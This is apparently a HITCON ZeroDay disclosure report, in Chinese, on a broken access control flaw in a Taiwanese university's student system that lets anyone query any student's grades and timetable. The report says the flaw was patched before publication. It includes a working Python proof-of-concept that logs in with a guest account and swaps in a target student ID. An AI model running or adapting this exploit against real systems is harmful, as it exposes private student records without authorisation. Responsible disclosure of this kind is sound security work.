Vulnerability Detail Report
Vulnerability Overview
- ZDID: ZD-2020-00743
- Vendor: 國立高雄科技大學
- Title: 高科大校務系統-成績查詢/課表查詢漏洞
- Introduction: 查詢任何學號任何學期的成績以及課表
處理狀態
目前狀態
公開
Last Update : 2020/09/17
-
新提交
-
已審核
-
已通報
-
已修補
-
未複測
-
公開
處理歷程
- 2020/08/22 22:04:20 : 新提交 (由 Takidog 更新此狀態)
- 2020/08/23 22:29:46 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2020/08/24 12:30:59 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2020/08/24 12:31:00 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2020/09/09 11:24:26 : 已修補 (由 組織帳號 更新此狀態)
- 2020/09/17 03:00:02 : 公開 (由 HITCON ZeroDay 平台自動更新)
詳細資料
- ZDID:ZD-2020-00743
- 通報者:takidog (Takidog)
- 風險:中
- 類型:存取控制缺陷 (Broken Access Control)
參考資料
攻擊者可經由該漏洞取得、修改、刪除系統中的其他使用者的資料,或連線至高權限使用者的頁面。
OWASP Top 10 - 2017 A5 - Broken Access Control
https://www.owasp.org/index.php/Top_10-2017_A5-Broken_Access_Control
CWE-284: Improper Access Control
https://cwe.mitre.org/data/definitions/284.html
OWASP Top 10 - 2017 A5 - Broken Access Control
https://www.owasp.org/index.php/Top_10-2017_A5-Broken_Access_Control
CWE-284: Improper Access Control
https://cwe.mitre.org/data/definitions/284.html
(本欄位資訊由系統根據漏洞類別自動產生,做為漏洞參考資料。)
相關網址
http://webap.nkust.edu.tw/nkust/
http://webap.nkust.edu.tw/nkust/ag_pro/ag008.jsp
http://webap.nkust.edu.tw/nkust/ag_pro/ag222.jsp
http://webap.nkust.edu.tw/nkust/ag_pro/ag008.jsp
http://webap.nkust.edu.tw/nkust/ag_pro/ag222.jsp
敘述
1.說明
在校務系統中有部分服務並沒有檢查使用者參數是否正常
整個框架下都採用同一個策略,從查詢學生個人成績的頁面可以發現
POST 中的arg03是攜帶學生的學號
將這個方式套用在查詢成績/課表,可以達成查詢指定學號的成績或是課表
2.重現漏洞
在這裡採用高科校務通的爬蟲,並登入學校的公用帳號guest
1.Install requirements
pip3 install lxml==4.5.2
pip3 install requests==2.22.0
import requests
from lxml import etree
LOGIN_TIMEOUT = 10
AP_BASE_URL = "http://webap.nkust.edu.tw"
AP_HEADER_URL = 'http://webap.nkust.edu.tw/nkust/f_head.jsp'
AP_LOGIN_URL = AP_BASE_URL + "/nkust/perchk.jsp"
AP_QUERY_URL = AP_BASE_URL + "/nkust/%s_pro/%s.jsp"
def login(session, username, password, timeout=LOGIN_TIMEOUT):
payload = {
"uid": username,
"pwd": password
}
session.headers.update({
'Origin': 'http://webap.nkust.edu.tw',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9'
})
try:
req = session.get("http://webap.nkust.edu.tw/nkust/index.html")
r = session.post(
AP_LOGIN_URL,
data=payload,
timeout=timeout
)
except requests.exceptions.Timeout:
return error_code.WEBAP_SERVER_ERROR
# parse
root = etree.HTML(r.text)
try:
is_login = root.xpath("/html/body/script")[0].text.find('alert')
if is_login == -1:
# login success
return True
elif is_login >= 0:
return False
except Exception as error:
return False
return False
def query(session, qid, **kwargs):
"""AP system query
Args:
session ([requests.session]): after load cookies
qid ([str]): url qid
kwargs:
(e.g.)
ag_query(session=session, qid='ag008',
yms='107,2', arg01='107', arg02='2')
post data will = {
'yms':'107,2',
'arg01':'107',
'arg02':'2'
}
Returns:
[requests.models.Response]: requests response
[bool]: something error will return False
"""
try:
req = session.post(AP_QUERY_URL % (qid[:2], qid),
data=kwargs)
return req
except:
return False
return False
if __name__ == "__main__":
username = 'guest'
password = '123'
target_user_id = "1106137280"
session = requests.session()
if login(session, username=username, password=password):
# query 108-1 scores
print(query(session, qid="ag008", arg01="108",
arg02="2", arg03=target_user_id).text)
擷圖
留言討論
登入後留言
聯絡組織
發送私人訊息
您也可以透過私人訊息的方式與組織聯繫,討論有關於這個漏洞的相關資訊。